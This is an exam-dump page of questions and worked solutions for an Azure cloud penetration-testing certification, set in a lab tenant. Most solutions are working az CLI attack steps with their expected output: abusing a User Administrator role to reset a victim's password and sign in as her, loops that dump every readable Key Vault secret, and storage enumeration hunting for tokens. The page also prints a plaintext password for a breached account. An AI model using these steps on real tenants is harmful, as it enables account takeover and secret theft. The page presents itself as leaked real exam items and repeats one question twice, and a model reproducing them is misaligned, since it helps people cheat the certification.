Free CCPenX-Az Sample Questions and 100% Cover Real Exam Questions (Updated 33 Questions) [Q15-Q37]

Posted On August 11, 2026

Free CCPenX-Az Sample Questions and 100% Cover Real Exam Questions (Updated 33 Questions)

Download Real The SecOps Group CCPenX-Az Exam Dumps Test Engine Exam Questions

Q15. A managed identity has Key Vault Secrets User access to kv-finance-prod. Enumerate secrets and retrieve the hidden flag.

See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list –output table
List secrets:
az keyvault secret list \
–vault-name kv-finance-prod \
–output table
Expected output:
Name Enabled
—————- ——–
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
–vault-name kv-finance-prod \
–name internal-flag \
–query value \
–output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

Q16. Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?

tenantId

clientSecret

clientId

objectId

Detailed Solution:
Download the blob:
az storage blob download \
–account-name prodreportstore01 \
–container-name public-backups \
–name backup-config.json \
–file backup-config.json \
–auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
” tenantId ” : ” 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a ” ,
” clientId ” : ” c5fba7db-5e61-45bc-8944-3cd457bb19c2 ” ,
” clientSecret ” : ” REDACTED “
}
The App Registration application/client ID is stored in:
clientId

Q17. Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?

See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
–id [email protected] \
–password ‘ NewP@ssw0rd12345! ‘ \
–force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p ‘ NewP@ssw0rd12345! ‘ Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list –output table
Check role assignments:
az role assignment list –all –output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list –output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
–account-name excaliburstore \
–auth-mode login \
–output table
Query each table:
az storage entity query \
–account-name excaliburstore \
–table-name < table-name > \
–auth-mode login \
–output json
A faster method:
for table in $(az storage table list –account-name excaliburstore –auth-mode login –query ” [].name ” -o tsv); do echo ” ===== $table ===== ” az storage entity query \
–account-name excaliburstore \
–table-name ” $table ” \
–auth-mode login \
–output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{…} value returned from the accessible table/storage data after logging in as lila.
[email protected].

Q18. You’ve uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?

Password Administrator

User Administrator

Helpdesk Administrator

Groups Administrator

Detailed Solution:
Log in using the credential recovered in Q4.
az login -u [email protected] -p ‘ < recovered-password > ‘ Confirm the current signed-in user:
az ad signed-in-user show –output json
Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.
az rest –method GET \
–url ” https://graph.microsoft.com/v1.0/me/memberOf ” \
–output json
To display only role names:
az rest –method GET \
–url ” https://graph.microsoft.com/v1.0/me/memberOf ” \
–query ” value[].displayName ” \
–output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final answer:
B). User Administrator

Q19. ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal data. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker’s actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.

See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u [email protected] -p ‘ pg:Lr{k102l(fh7! ‘ After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
” id ” : ” 7403ec86-c39d-4d80-9efa-35c7580ecefa ” ,
” name ” : ” Azure subscription 1 ” ,
” tenantDefaultDomain ” : ” azuresecops.onmicrosoft.com ” ,
” tenantDisplayName ” : ” ExcaliburCorp ” ,
” tenantId ” : ” f015f36d-c07f-41fb-9bde-fffc3a22ee8b “
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Q20. The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.

See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
–name finance-reporting-api \
–resource-group rg-prod-apps-eastus \
–output json
Expected output:
{
” principalId ” : ” b72a4c19-92f6-47f3-b3dd-9db5a31831d1 ” ,
” tenantId ” : ” 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a ” ,
” type ” : ” SystemAssigned “
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

Q21. Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?

See the Answer in Explanation below.
Explanation:
The answer is the final Flag{…} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list –output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list –query ” [].name ” -o tsv); do
echo ” ===== $kv ===== “
az keyvault secret list \
–vault-name ” $kv ” \
–output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
–vault-name < vault-name > \
–name < secret-name > \
–query value \
–output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list –query ” [].name ” -o tsv); do
echo ” ===== Vault: $kv ===== “
for sec in $(az keyvault secret list –vault-name ” $kv ” –query ” [].name ” -o tsv); do echo ” —– Secret: $sec —– ” az keyvault secret show \
–vault-name ” $kv ” \
–name ” $sec ” \
–query value \
–output tsv
done
done
Look for the final value in this format:
Flag{…}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{…} value returned by az keyvault secret show.

Q22. The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?

Yes, Contributor includes secret read permissions

No, Contributor does not automatically grant Key Vault secret data-plane read

Yes, if the vault is in the same resource group

No, service principals cannot access Key Vault

Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
–vault-name kv-finance-prod \
–name db-password \
–query value \
–output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

Q23. You have been given a breached Azure user credential for an authorized lab tenant:
[email protected]
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.

See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u [email protected] -p ‘ < password > ‘ Show the active Azure context:
az account show –output json
Expected relevant output:
{
” id ” : ” 5d8e44ac-24a9-43d9-9cb5-71b227a58021 ” ,
” name ” : ” CloudCorp Security Lab ” ,
” tenantDefaultDomain ” : ” cloudcorpsec.onmicrosoft.com ” ,
” tenantId ” : ” 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a “
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

Q24. You’ve discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?

See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list –output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
–query ” [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} ” \
–output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
[email protected]
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Q25. A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?

az login –identity

az account get-access-token –tenant

az ad signed-in-user show

az login –service-principal

Q26. A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?

az login –service-principal

az login –identity

az account get-access-token –tenant

az ad signed-in-user show

Detailed Solution:
On an Azure VM with a system-assigned managed identity, run:
az login –identity
Then verify:
az account show
For a user-assigned managed identity, specify the client ID:
az login –identity –client-id < client-id >
Microsoft’s Azure CLI documentation confirms az login –identity for system-assigned managed identities and –client-id, –object-id, or –resource-id for user-assigned identities.
Correct answer:
B). az login –identity

Q27. You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.

See the Answer in Explanation below.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
–name prodreportstore01 \
–resource-group rg-prod-apps-eastus \
–query ” {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} ” \
–output json
Expected output:
{
” Name ” : ” prodreportstore01 ” ,
” AllowBlobPublicAccess ” : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

Loading …